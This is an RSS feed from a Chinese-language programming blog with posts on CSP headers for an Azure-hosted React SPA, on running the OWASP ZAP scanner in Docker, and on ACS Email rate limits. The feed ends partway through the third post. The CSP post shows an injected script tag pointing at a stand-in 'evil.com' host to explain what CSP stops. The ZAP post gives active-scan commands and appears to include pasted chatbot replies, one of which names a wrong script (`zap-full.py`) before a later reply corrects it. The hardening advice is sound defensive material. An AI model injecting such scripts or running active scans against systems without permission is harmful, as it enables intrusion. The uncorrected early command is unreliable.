

<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Max的程式語言筆記</title>
	<atom:link href="https://stackoverflow.max-everyday.com/feed/" rel="self" type="application/rss+xml" />
	<link>https://stackoverflow.max-everyday.com</link>
	<description>我要當一個豬頭，快樂過每一天</description>
	<lastBuildDate>Tue, 09 Jun 2026 04:36:09 +0000</lastBuildDate>
	<language>zh-TW</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0</generator>

<image>
	<url>https://stackoverflow.max-everyday.com/wp-content/uploads/2017/02/max-stackoverflow-256.png</url>
	<title>Max的程式語言筆記</title>
	<link>https://stackoverflow.max-everyday.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>在 Azure 環境中為 SPA 加上 Content Security Policy（CSP）</title>
		<link>https://stackoverflow.max-everyday.com/2026/06/azure-content-security-policy-csp/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/06/azure-content-security-policy-csp/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Tue, 09 Jun 2026 04:36:08 +0000</pubDate>
				<category><![CDATA[Azure 筆記]]></category>
		<category><![CDATA[azure]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8538</guid>

					<description><![CDATA[適用情境：React / Vite 前端 + 任...]]></description>
										<content:encoded><![CDATA[
<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>適用情境</strong>：React / Vite 前端 + 任意後端 + Azure Container Apps + nginx 反向代理</p>
</blockquote>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">一、什麼是 CSP？</h2>



<p class="wp-block-paragraph">Content Security Policy（CSP）是一組 HTTP 回應標頭，讓瀏覽器知道「這個頁面可以載入哪些來源的資源」。它是防禦 Cross-Site Scripting（XSS）與資料注入攻擊的第二道防線。</p>



<p class="wp-block-paragraph">一旦瀏覽器收到 CSP，即使攻擊者成功注入惡意 <code>&lt;script&gt;</code>，瀏覽器也會拒絕執行——因為注入的腳本不符合 CSP 白名單。</p>



<p class="wp-block-paragraph"><strong>CSP 補足了什麼？</strong></p>



<pre class="wp-block-code"><code>&#91;沒有 CSP]
攻擊者注入 &lt;script src="https://evil.com/steal.js"&gt; → 瀏覽器直接執行 ✗

&#91;有 CSP: script-src 'self']
攻擊者注入 &lt;script src="https://evil.com/steal.js"&gt; → 瀏覽器拒絕執行 ✓</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">二、Azure 環境的架構選擇</h2>



<p class="wp-block-paragraph">在 Azure 上，安全標頭可以加在三個層次：</p>



<pre class="wp-block-code"><code>Internet
   │
   ▼
Azure Application Gateway (WAF)
   │  ← 可在此加 HTTP Response Header Rewrite Rules
   ▼
Azure Container Apps (nginx)
   │  ← 可在此加 add_header
   ▼
Go 後端 (middleware)
   │  ← 可在此加 w.Header().Set(...)</code></pre>



<h3 class="wp-block-heading">各層優缺比較</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>層次</th><th>優點</th><th>缺點</th></tr></thead><tbody><tr><td><strong>Application Gateway</strong></td><td>集中管理，不用動 code</td><td>需手動設定 Rewrite Rules，費用較高；Header Rewrite 為付費功能（WAF_v2 SKU）</td></tr><tr><td><strong>nginx（Container 內）</strong></td><td>Infrastructure as Code，版控於 Dockerfile/config</td><td>需要 redeploy container</td></tr><tr><td><strong>Go middleware</strong></td><td>程式碼層級，可針對路由控制</td><td>業務邏輯與安全邏輯混用；API 不需 CSP</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">建議</h3>



<p class="wp-block-paragraph"><strong>對 SPA 網站來說，nginx 是最合適的地方</strong>，原因：</p>



<ol class="wp-block-list">
<li>SPA 的安全標頭只需要加在 HTML 頁面回應，不需要加在 API 回應</li>



<li>nginx 已作為 SPA 的靜態資源伺服器，天然邊界清晰</li>



<li>設定檔進版控，可 review、可追蹤</li>
</ol>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">如果日後 Application Gateway 有設定 Header Rewrite，要記得移除 nginx 這邊的設定，避免同一個 header 重複出現（瀏覽器會套用第一個，但會造成混淆）。</p>
</blockquote>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">三、為 React + Vite SPA 設計 CSP</h2>



<h3 class="wp-block-heading">分析資源來源</h3>



<p class="wp-block-paragraph">在設計 CSP 之前，先盤點頁面實際載入的所有資源：</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>資源類型</th><th>來源</th><th>指令</th></tr></thead><tbody><tr><td>JavaScript</td><td>self-hosted（Vite 打包）</td><td><code>script-src 'self'</code></td></tr><tr><td>CSS</td><td>self-hosted（PostCSS 打包）</td><td><code>style-src 'self'</code></td></tr><tr><td>字型</td><td>self-hosted（@fontsource-variable/geist）</td><td><code>font-src 'self'</code></td></tr><tr><td>圖片</td><td>self-hosted；少數可能 data URI</td><td><code>img-src 'self' data:</code></td></tr><tr><td>API 呼叫</td><td>same-origin（nginx proxy 到後端）</td><td><code>connect-src 'self'</code></td></tr><tr><td>iframe</td><td>無</td><td><code>frame-src 'none'</code></td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Mantine UI 的特殊考量</h3>



<p class="wp-block-paragraph">Mantine（React UI library）會透過 <code>MantineProvider</code> 在 DOM 注入一個 <code>&lt;style&gt;</code> 標籤，內容是 CSS 自訂屬性（design token）：</p>



<pre class="wp-block-code"><code>&lt;style&gt;
  :root {
    --mantine-color-blue-9: #1971c2;
    --mantine-font-size-md: 1rem;
    /* ... */
  }
&lt;/style&gt;</code></pre>



<p class="wp-block-paragraph">這個 inline <code>&lt;style&gt;</code> 是 Mantine 的執行時行為，<strong>無法預先計算 hash</strong>（除非用 CSP nonce）。因此 <code>style-src</code> 需要加上 <code>'unsafe-inline'</code>。</p>



<p class="wp-block-paragraph"><strong>這樣安全嗎？</strong> 相對安全。</p>



<ul class="wp-block-list">
<li><code>style-src 'unsafe-inline'</code> 的攻擊面遠小於 <code>script-src 'unsafe-inline'</code></li>



<li>CSS 注入最多能做到 UI 欺騙或 timing attack，無法直接竊取 cookie 或執行任意程式碼</li>



<li>重點是 <code>script-src 'self'</code> 嚴格設定，不允許 inline script 或外部 script</li>
</ul>



<h3 class="wp-block-heading">完整 CSP 設計</h3>



<pre class="wp-block-code"><code>Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data:;
  font-src 'self';
  connect-src 'self';
  frame-src 'none';
  frame-ancestors 'none';
  form-action 'self';
  base-uri 'self';
  object-src 'none'</code></pre>



<h3 class="wp-block-heading">其他安全標頭</h3>



<p class="wp-block-paragraph">除了 CSP，建議同時加上這些標頭：</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Header</th><th>值</th><th>用途</th></tr></thead><tbody><tr><td><code>X-Content-Type-Options</code></td><td><code>nosniff</code></td><td>防止瀏覽器做 MIME 嗅探（把 HTML 當 JS 執行）</td></tr><tr><td><code>X-Frame-Options</code></td><td><code>DENY</code></td><td>防 clickjacking（CSP <code>frame-ancestors</code> 的舊瀏覽器 fallback）</td></tr><tr><td><code>Referrer-Policy</code></td><td><code>strict-origin-when-cross-origin</code></td><td>跨站請求不洩露完整 URL path</td></tr><tr><td><code>Permissions-Policy</code></td><td><code>camera=(), microphone=(), geolocation=()</code></td><td>明確關閉不需要的 browser API</td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">四、nginx.conf.template 實作</h2>



<p class="wp-block-paragraph">在 nginx <code>server</code> block 層級（非個別 <code>location</code> 內）加上 <code>add_header ... always</code>：</p>



<pre class="wp-block-code"><code>server {
    listen 80;
    server_name _;

    root /usr/share/nginx/html;
    index index.html;

    # Security headers
    add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-src 'none'; frame-ancestors 'none'; form-action 'self'; base-uri 'self'; object-src 'none'" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;

    # ... 其他設定
}</code></pre>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong><code>always</code> 參數</strong>：確保即使後端回傳 4xx/5xx，nginx 也會加上這些 headers。沒有 <code>always</code> 的話，錯誤頁面會沒有安全標頭。</p>
</blockquote>



<h3 class="wp-block-heading">要注意的地方</h3>



<ol class="wp-block-list">
<li><strong>不要加在 <code>/api/</code> proxy location 裡</strong>：API 回應不需要 CSP，加了反而讓前端 XHR 請求帶著多餘 header。</li>



<li><strong>避免重複設定</strong>：如果 Application Gateway 已設定 Header Rewrite，nginx 這邊要移除，否則 header 會出現兩次（部分瀏覽器行為不一致）。</li>



<li><strong>HTTPS only 部署才需要 HSTS</strong>：<code>Strict-Transport-Security</code> 只有在全站 HTTPS 時才加；如果有任何 HTTP 存取路徑，HSTS 會造成無法回頭。</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">五、上線前驗證</h2>



<h3 class="wp-block-heading">本地驗證</h3>



<p class="wp-block-paragraph">部署後使用 curl 確認標頭存在：</p>



<pre class="wp-block-code"><code>curl -I https://your-app.example.com/ | grep -i "content-security\|x-frame\|x-content\|referrer\|permissions"</code></pre>



<h3 class="wp-block-heading">瀏覽器 DevTools</h3>



<ol class="wp-block-list">
<li>開 DevTools → Network → 選 <code>index.html</code> 請求</li>



<li>查看 Response Headers，確認五個安全標頭都在</li>



<li>開 Console，確認沒有 CSP violation 錯誤（<code>Refused to load ...</code>）</li>
</ol>



<h3 class="wp-block-heading">線上掃描工具</h3>



<ul class="wp-block-list">
<li><a href="https://observatory.mozilla.org/">Mozilla Observatory</a> — 綜合安全標頭評分</li>



<li><a href="https://securityheaders.com/">SecurityHeaders.com</a> — 詳細標頭分析</li>



<li><a href="https://csp-evaluator.withgoogle.com/">CSP Evaluator（Google）</a> — 評估 CSP 強度</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">六、常見陷阱與排查</h2>



<h3 class="wp-block-heading">問題：Mantine 樣式全部消失</h3>



<p class="wp-block-paragraph"><strong>原因</strong>：<code>style-src</code> 缺少 <code>'unsafe-inline'</code>，Mantine 注入的 <code>&lt;style&gt;</code> block 被拒絕。<br><strong>解法</strong>：加上 <code>'unsafe-inline'</code>。</p>



<h3 class="wp-block-heading">問題：Console 出現 <code>Refused to connect to 'http://...'</code></h3>



<p class="wp-block-paragraph"><strong>原因</strong>：<code>connect-src 'self'</code> 嚴格限制，可能有程式碼直接連外部 API（非透過 nginx proxy）。<br><strong>解法</strong>：找出來源並調整，或暫時在 <code>connect-src</code> 白名單加入該 origin。</p>



<h3 class="wp-block-heading">問題：OAuth redirect 失敗</h3>



<p class="wp-block-paragraph"><strong>原因</strong>：OAuth 流程是瀏覽器 <code>window.location.href</code> 跳轉（navigation），不是 form submit 也不是 XHR，CSP 的 <code>form-action</code> 和 <code>connect-src</code> 都不管這個。<br><strong>結論</strong>：OAuth redirect 不受 CSP 影響，不需要特別處理。</p>



<h3 class="wp-block-heading">問題：第三方 SSO（POST 到 /auth/sso/callback）失敗</h3>



<p class="wp-block-paragraph"><strong>原因</strong>：第三方 SSO 是由外部伺服器 redirect 瀏覽器 POST 到我們的 callback（form submit 跨站）。<br><strong>確認</strong>：這是第三方 SSO 頁面的 <code>form-action</code>，不是我們這邊的 CSP 設定問題。CSP 加在我們頁面的回應，不影響來自其他頁面的 form submit。</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">七、結論</h2>



<p class="wp-block-paragraph">對於 Azure 上的 React SPA：</p>



<ol class="wp-block-list">
<li><strong>現在就可以加</strong>：資源全 self-hosted + 無 inline script，加 CSP 的風險很低</li>



<li><strong>加在 nginx</strong>：比 Application Gateway 更容易維護，可版控，redeploy 即生效</li>



<li><strong>接受 <code>style-src 'unsafe-inline'</code></strong>：這是 Mantine 的現實限制，不影響最重要的 script XSS 防護</li>



<li><strong>配套加其他標頭</strong>：<code>X-Content-Type-Options</code>、<code>X-Frame-Options</code>、<code>Referrer-Policy</code>、<code>Permissions-Policy</code> 是低成本高效益的防護</li>



<li><strong>上線後立刻掃描</strong>：用 Mozilla Observatory 驗證，確認等級達到 B 或以上</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph"><em>場景：Azure Container Apps 上的 React SPA 安全加固</em></p>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/06/azure-content-security-policy-csp/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>透過 Docker 快速自架 OWASP ZAP</title>
		<link>https://stackoverflow.max-everyday.com/2026/06/docker-owasp-zap/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/06/docker-owasp-zap/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Tue, 09 Jun 2026 04:23:36 +0000</pubDate>
				<category><![CDATA[電腦相關應用]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8533</guid>

					<description><![CDATA[OWASP ZAP 要錢? 不要錢，OWASP ...]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">OWASP ZAP 要錢?</p>



<p class="wp-block-paragraph"><strong>不要錢，OWASP ZAP 完全免費且開源。</strong></p>



<p class="wp-block-paragraph">它是開放網路應用程式安全計劃（OWASP）旗下的旗艦專案，不論是個人、企業內部測試還是商業用途，都可以自由下載並免費使用完整功能，沒有任何隱藏付費牆。</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">自架弱點掃描工具主要分為「主機/網路層」與「網站/應用程式層」兩種需求。推薦以下幾款業界最主流、成熟的免費與開源自架方案： [1]</p>



<h2 class="wp-block-heading">1. 主機與網路層弱點掃描</h2>



<ul class="wp-block-list">
<li><strong>OpenVAS</strong>：企業級開源弱點評估工具，是目前功能最強大的免費主機掃描器之一，具備完整的漏洞資料庫與排程掃描功能。</li>



<li><strong>Nmap</strong>：網路探測與安全性稽核的基石，主要用於主機存活性與連接埠掃描，可搭配 NSE（Nmap Scripting Engine）執行基礎弱點檢測。 [1, 2]</li>
</ul>



<h2 class="wp-block-heading">2. 網站應用程式弱點掃描 (Web)</h2>



<ul class="wp-block-list">
<li><strong>OWASP ZAP</strong>：由國際權威組織維護的最佳免費網頁應用程式弱點掃描器。非常適合整合在開發流程（CI/CD）中，能自動檢測常見的 SQL Injection、XSS 等漏洞。</li>



<li><strong>Nikto</strong>：輕量級的命令列開源網頁伺服器掃描器，能快速找出伺服器危險檔案與過時版本。 [1, 2, 3, 4]</li>
</ul>



<h2 class="wp-block-heading">3. 開發原始碼掃描 (DevSecOps)</h2>



<ul class="wp-block-list">
<li><strong>SonarQube</strong>：針對原始碼進行靜態分析（SAST）的熱門工具，社群版（Community Build）免費且容易上手，適合在自架伺服器上檢測代碼安全缺陷。</li>



<li><strong>OWASP Dependency-Check</strong>：專注於軟體供應鏈安全，能自動掃描專案中套件（如 Maven, npm）的已知漏洞。 [2, 5]</li>
</ul>



<p class="wp-block-paragraph"><strong><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 建議策略：</strong><br>若要檢測作業系統與網路設備，優先部署 <a href="https://www.cloudsecurity.com.tw/free-website-vulnerability-scanners/">OpenVAS</a>；若是針對網頁應用程式安全，則推薦安裝 <a href="https://www.ckmates.com/index.php/front/ckmates/blog_page/117">OWASP ZAP</a>。</p>



<p class="wp-block-paragraph">[1] <a href="https://www.ckmates.com/index.php/front/ckmates/blog_page/117">https://www.ckmates.com</a></p>



<p class="wp-block-paragraph">[2] <a href="https://www.cloudsecurity.com.tw/free-website-vulnerability-scanners/">https://www.cloudsecurity.com.tw</a></p>



<p class="wp-block-paragraph">[3] <a href="https://ithelp.ithome.com.tw/articles/10215447">https://ithelp.ithome.com.tw</a></p>



<p class="wp-block-paragraph">[4] <a href="https://zh.wikipedia.org/zh-tw/Nikto">https://zh.wikipedia.org</a></p>



<p class="wp-block-paragraph">[5] <a href="https://www.linktech.com.tw/post/upgrade-to-sonarqube-enterprise">https://www.linktech.com.tw</a></p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">要透過 Docker 快速自架 OWASP ZAP，最推薦的方式是直接使用官方維護的映像檔（Image）。依照您的使用情境，您可以選擇以下其中<strong>一行指令</strong>來執行：</p>



<h2 class="wp-block-heading">方案 A：啟動「瀏覽器介面版」(Web Swing UI) — 推薦！</h2>



<p class="wp-block-paragraph">這會在背景啟動 ZAP，並開啟一個網頁版的圖形介面，您只需用瀏覽器連過去就能直接操作，不需要安裝任何本機軟體。</p>



<pre class="wp-block-code"><code>docker run -u zap -p 8080:8080 -p 8090:8090 -d ghcr.io/zaproxy/zaproxy:stable zap-webswing.sh
</code></pre>



<ul class="wp-block-list">
<li><strong>如何使用</strong>：開啟瀏覽器輸入 <code>http://localhost:8080/zap/</code> 即可看到操作畫面。</li>



<li><strong>連接埠說明</strong>：<code>8080</code> 是 Web 介面連線埠；<code>8090</code> 是 ZAP 預設的代理伺服器（Proxy）連線埠。</li>
</ul>



<h2 class="wp-block-heading">方案 B：直接對目標網站執行「自動化基準掃描」(Baseline Scan)</h2>



<p class="wp-block-paragraph">如果您不需要看畫面，只想直接對特定網站進行快速的安全性點檢（約數分鐘內完成）並在終端機看結果：</p>



<pre class="wp-block-code"><code>docker run -t ghcr.io/zaproxy/zaproxy:stable zap-baseline.py -t https://example.com
</code></pre>



<ul class="wp-block-list">
<li><strong>注意事項</strong>：請將 <code>https://example.com</code> 替換為<strong>您自己擁有權限</strong>的測試網站網址。</li>
</ul>



<h2 class="wp-block-heading">方案 C：直接對目標網站執行「深度全功能掃描」(Full Scan)</h2>



<p class="wp-block-paragraph">這會執行更深度的網頁爬蟲與主動攻擊測試（包含 XSS、SQLi 等），耗時較長：</p>



<pre class="wp-block-code"><code>docker run -t ghcr.io/zaproxy/zaproxy:stable zap-full.py -t https://example.com
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">接下來，您可以決定如何處理掃描後的資料。如果您有興趣，我們可以討論：</p>



<ul class="wp-block-list">
<li>如何將掃描後的 <strong>HTML/PDF 漏洞報告</strong> 自動匯出到您的本機資料夾</li>



<li>如何設定 ZAP 的 <strong>API Key</strong> 以確保 Docker 容器的安全防護</li>



<li>如何將這行指令整合進您現有的 <strong>CI/CD 自動化流程</strong></li>
</ul>



<p class="wp-block-paragraph">請告訴我您想朝哪個<strong>應用方向</strong>深入操作？</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">非常抱歉，前一則回覆給錯了腳本名稱。在 OWASP ZAP 的官方 Docker 映像檔中，深度全功能掃描的正確腳本名稱是 <strong><code>zap-full-scan.py</code></strong>（中間多了一個 <code>-scan</code>），而且它已經被設定在環境變數中，不需加上 <code>/zap/</code> 前綴。 [1, 2, 3, 4]</p>



<p class="wp-block-paragraph">請直接複製以下經過修正的<strong>正確指令</strong>至您的 <code>C:\Users\your-account></code> 終端機執行：</p>



<pre class="wp-block-code"><code>docker run -t ghcr.io/zaproxy/zaproxy:stable zap-full-scan.py -t https://your-app-domain.com
</code></pre>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 進階實用建議：將報告儲存至本機</h2>



<p class="wp-block-paragraph">由於您的目標網址是一個 <code>dashboard</code>（儀表板頁面），執行 <code>zap-full-scan.py</code> 會耗費較長時間（進行深度爬蟲與主動漏洞攻擊）。 [1]</p>



<p class="wp-block-paragraph">若您希望在掃描完成後，<strong>直接在您的 Windows 本機資料夾看到 HTML 報告</strong>，建議使用 <code>-v</code> 參數掛載路徑，並加上 <code>-r</code> 指定檔名： [2, 5]</p>



<pre class="wp-block-code"><code>docker run -v %cd%:/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable zap-full-scan.py -r report.html -t https://your-app-domain.com
</code></pre>



<p class="wp-block-paragraph"><em>執行完成後，您就可以直接在 <code>C:\Users\your-account></code> 資料夾下找到 <code>report.html</code> 報告檔案。</em> [5, 6]</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">當您成功啟動掃描後，接下來您可能會遇到與目標網站特性的相關調整。我們可以繼續討論：</p>



<ul class="wp-block-list">
<li>如果該 Dashboard 需要 <strong>帳號密碼登入</strong> 才能看到內容，該如何代入 Cookie 或帳密進行掃描</li>



<li>如何設定 <code>-m</code> 參數來 <strong>限制掃描時間</strong>，避免因為網站太大而掃描過久</li>



<li>如何看懂終端機輸出顯示的 <strong>漏洞風險等級 (High/Medium/Low)</strong> [7, 8, 9, 10]</li>
</ul>



<p class="wp-block-paragraph">請試試看修正後的指令，並告訴我您是否需要設定 <strong>登入權限掃描</strong> 呢？</p>



<p class="wp-block-paragraph">[1] <a href="https://www.zaproxy.org/docs/docker/full-scan/">https://www.zaproxy.org</a></p>



<p class="wp-block-paragraph">[2] <a href="https://forums.docker.com/t/zap-docker-full-scan-not-working-using-zap-fullscan-py-script-base-line-script-working-for-it-in-stable-image/134243">https://forums.docker.com</a></p>



<p class="wp-block-paragraph">[3] <a href="https://github.com/zaproxy/zaproxy/issues/3927">https://github.com</a></p>



<p class="wp-block-paragraph">[4] <a href="https://github.com/zaproxy/zaproxy/issues/6396">https://github.com</a></p>



<p class="wp-block-paragraph">[5] <a href="https://www.zaproxy.org/docs/docker/diagnosing-problems/">https://www.zaproxy.org</a></p>



<p class="wp-block-paragraph">[6] <a href="https://stackoverflow.com/questions/54692312/owasp-zap-dangling-when-trying-to-scan">https://stackoverflow.com</a></p>



<p class="wp-block-paragraph">[7] <a href="https://www.zaproxy.org/docs/docker/full-scan/">https://www.zaproxy.org</a></p>



<p class="wp-block-paragraph">[8] <a href="https://groups.google.com/g/zaproxy-users/c/KUoJTYUZ1gk">https://groups.google.com</a></p>



<p class="wp-block-paragraph">[9] <a href="https://www.youtube.com/watch?v=fJYyfZNNk5A">https://www.youtube.com</a></p>



<p class="wp-block-paragraph">[10] <a href="https://www.zaproxy.org/faq/how-do-you-configure-zap-to-test-an-application-on-localhost/">https://www.zaproxy.org</a></p>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/06/docker-owasp-zap/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>迎戰 Azure Communication Services (ACS) Email：從快速整合到破解 429 超額地獄</title>
		<link>https://stackoverflow.max-everyday.com/2026/06/azure-communication-services-acs-email-429/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/06/azure-communication-services-acs-email-429/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Tue, 09 Jun 2026 04:09:58 +0000</pubDate>
				<category><![CDATA[Azure 筆記]]></category>
		<category><![CDATA[azure]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8531</guid>

					<description><![CDATA[在現代雲端應用中，自動化發送電子郵件（如：註冊驗...]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">在現代雲端應用中，自動化發送電子郵件（如：註冊驗證、系統通知、狀態更新）是不可或缺的功能。微軟推出的 <strong>Azure Communication Services (ACS)</strong> 提供了一個穩定且高度整合的 Email 解決方案。</p>



<p class="wp-block-paragraph">然而，許多開發者在系統上線、面對批次發送或高並發（High Concurrency）場景時，常會突然撞上一道高牆：<strong><code>ACS email API returned status 429: Too Many Requests</code></strong>。</p>



<p class="wp-block-paragraph">本篇文章將帶您從零開始了解 ACS Email 的佈署步驟，並分享如何透過<strong>三層防禦架構</strong>徹底解決 429 超額問題！</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e0.png" alt="🛠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 第一部分：ACS Email 基礎佈署三步驟</h2>



<p class="wp-block-paragraph">要使用 ACS 發送郵件，我們需要完成以下三個核心步驟：</p>



<h3 class="wp-block-heading">1. 建立資源與網域</h3>



<ul class="wp-block-list">
<li><strong>Azure Managed Domain（預設）</strong>：適合測試。系統會配發一組 <code>.azurecomm.net</code> 結尾的隨機網域。它的限制非常嚴格（5 封/分、10 封/小時），且無法申請提升。</li>



<li><strong>Custom Domain（自訂網域）</strong>：生產環境必備。您可以註冊如 <code>notify.yourdomain.com</code> 的子網域。
<ul class="wp-block-list">
<li><em>小提示</em>：建議使用<strong>子網域</strong>，避免影響學校或企業既有的 MX/SPF 設定。</li>



<li>您需要在 DNS 管理員中設定微軟提供的四筆紀錄（包含 <strong>TXT 網域驗證</strong>、兩筆 <strong>CNAME DKIM 驗證</strong>、以及 <strong>SPF 設定</strong>）。</li>
</ul>
</li>
</ul>



<h3 class="wp-block-heading">2. 連結 ACS 與 Email 服務</h3>



<p class="wp-block-paragraph">在 Azure Portal 中，將您的 <code>Communication Services</code> 資源與 <code>Email Communication Services</code> 進行連結（Connect domain），讓發信 client 端能正確調用該網域。</p>



<h3 class="wp-block-heading">3. SDK 整合（以 Go 語言為例）</h3>



<p class="wp-block-paragraph">在程式碼中，我們可以透過 Access Key 或 Managed Identity (MSI) 來初始化 ACS Client，並調用發信 API。當有多位收件人時，ACS 支援將多個 Email 放入 <code>To</code> 欄位陣列中一次送出。</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a1.png" alt="⚡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 第二部分：為什麼會遇到 429 錯誤？</h2>



<p class="wp-block-paragraph">當系統有多個異步任務（例如多個 Goroutines 或背景 Worker）同時觸發發信邏輯時，瞬間發出的 HTTP 請求會遠遠超過 Azure 網域的每分鐘速率上限。</p>



<ul class="wp-block-list">
<li><strong>Managed Domain</strong>：上限 <strong>5 封/分</strong>。</li>



<li><strong>Custom Domain</strong>：預設上限 <strong>30 封/分</strong>。</li>
</ul>



<p class="wp-block-paragraph">一旦超過，ACS 就會毫不留情地回傳 <strong>HTTP 429</strong>。如果此時程式直接報錯丟棄，就會導致使用者收不到重要通知。</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e1.png" alt="🛡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 第三部分：完美修復 ACS 429 的「三層防禦機制」</h2>



<p class="wp-block-paragraph">為了確保信件 100% 送達，且系統不會因為並發而崩潰，建議在後端架構中實作以下<strong>三層防禦</strong>：</p>



<pre class="wp-block-code"><code>發送郵件請求 (多個 Goroutines 並發)
       │
       ▼
 ┌───────────┐
 │  Layer 2  │ ──► Client-side Rate Limiter (主動排隊，例如限制 24 封/分)
 └───────────┘
       │
       ▼
 ┌───────────┐
 │  API 發送 │ ──► HTTP POST 到 Azure ACS
 └───────────┘
       │
       ├─ &#91;202 Accepted] ──► &#x2705; 成功送出
       │
       └─ &#91;429 Too Many Requests] 
               │
               ▼
         ┌───────────┐
         │  Layer 1  │ ──► 自動 Retry (解析 Retry-After 標頭，等待後重試)
         └───────────┘
               │
               ▼
         ┌───────────┐
         │  Layer 3  │ ──► 擴充根本 Quota (升級 Custom Domain / 調整環境變數)
         └───────────┘
</code></pre>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Layer 1：客戶端自動重試（Client-side Retry）</h3>



<p class="wp-block-paragraph">當收到 429 錯誤時，不要立刻放棄！ACS 的 Response Header 中會帶有一個 <code>Retry-After</code> 欄位（通常為 60 秒），告知你多久後可以重試。</p>



<ul class="wp-block-list">
<li><strong>實作邏輯</strong>：在發信方法中加入一個最多 3 次的 <code>for</code> 迴圈。</li>



<li><strong>行為</strong>：若遇到 429，解析 <code>Retry-After</code> 的秒數，讓執行緒 <code>time.Sleep()</code>（或搭配 <code>context</code> 監聽）後再次重試。如果 3 次都失敗才記 Log 報錯。</li>
</ul>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Layer 2：客戶端速率限制器（Rate Limiter）</h3>



